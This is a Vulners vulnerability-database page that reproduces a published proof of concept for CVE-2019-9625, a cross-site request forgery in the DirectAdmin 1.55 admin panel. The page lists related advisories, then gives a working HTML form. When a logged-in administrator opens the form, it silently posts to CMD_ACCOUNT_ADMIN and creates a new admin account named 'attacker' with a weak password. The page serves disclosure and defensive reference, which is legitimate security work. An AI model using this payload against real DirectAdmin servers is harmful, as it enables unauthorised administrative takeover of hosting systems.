Vulners
Lucene search
DirectAdmin 1.55 - 'CMD_ACCOUNT_ADMIN' Cross-Site Request Forgery
| Reporter | Title | Published | Views | Family All 8 |
|---|---|---|---|---|
 | DirectAdmin 1.55 - CMD_ACCOUNT_ADMIN Cross-Site Request Forgery Vulnerability | 10 Mar 201900:00 | – | zdt |
 | CVE-2019-9625 | 7 Mar 201915:00 | – | cve |
 | CVE-2019-9625 | 7 Mar 201915:00 | – | cvelist |
 | EUVD-2019-18996 | 7 Oct 202500:30 | – | euvd |
 | DirectAdmin 1.55 - CMD_ACCOUNT_ADMIN Cross-Site Request Forgery | 8 Mar 201900:00 | – | exploitpack |
 | CVE-2019-9625 | 7 Mar 201915:29 | – | nvd |
 | DirectAdmin 1.55 Cross Site Request Forgery | 8 Mar 201900:00 | – | packetstorm |
 | Cross site request forgery (csrf) | 7 Mar 201915:29 | – | prion |
# Exploit title: DirectAdmin v1.55 - CSRF via CMD_ACCOUNT_ADMIN Admin Panel
# Date: 03/03/2019
# Exploit Author: ManhNho
# Vendor Homepage: https://www.directadmin.com/
# Software Link: https://www.directadmin.com/
# Demo Link: https://www.directadmin.com:2222/CMD_ACCOUNT_ADMIN
# Version: 1.55
# CVE: CVE-2019-9625
# Tested on: Windows 10 / Kali Linux
# Category: Webapps
#1. Description
-----------------------------------------------------
DirectAdmin v 1.55 have CSRF via CMD_ACCOUNT_ADMIN Admin Panel lead to
create new admin account
#2. PoC
-----------------------------------------------------
a) Send below crafted request to logged in user who is having admin
Administrator level access
<html>
<body>
<script>history.pushState('', '', '/')</script>
<form action="https://server:2222/CMD_ACCOUNT_ADMIN" method="POST">
<input type="hidden" name="fakeusernameremembered" value="" />
<input type="hidden" name="fakepasswordremembered" value="" />
<input type="hidden" name="action" value="create" />
<input type="hidden" name="username" value="attacker" />
<input type="hidden" name="email" value="attacker@mail.com" />
<input type="hidden" name="passwd" value="123456" />
<input type="hidden" name="passwd2" value="123456" />
<input type="hidden" name="notify" value="yes" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>
b) Once the logged in user opens the URL the form will get submitted
with active session of administrator and action get performed
successfully.
#3. References
-----------------------------------------------------
https://github.com/ManhNho/CVEs/blob/master/New-Requests/DirectAdmin-CSRF
https://nvd.nist.gov/vuln/detail/CVE-2019-9625Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
08 Mar 2019 00:00Current
8.8High risk
Vulners AI Score8.8
CVSS 26.8
CVSS 38.8
EPSS0.00245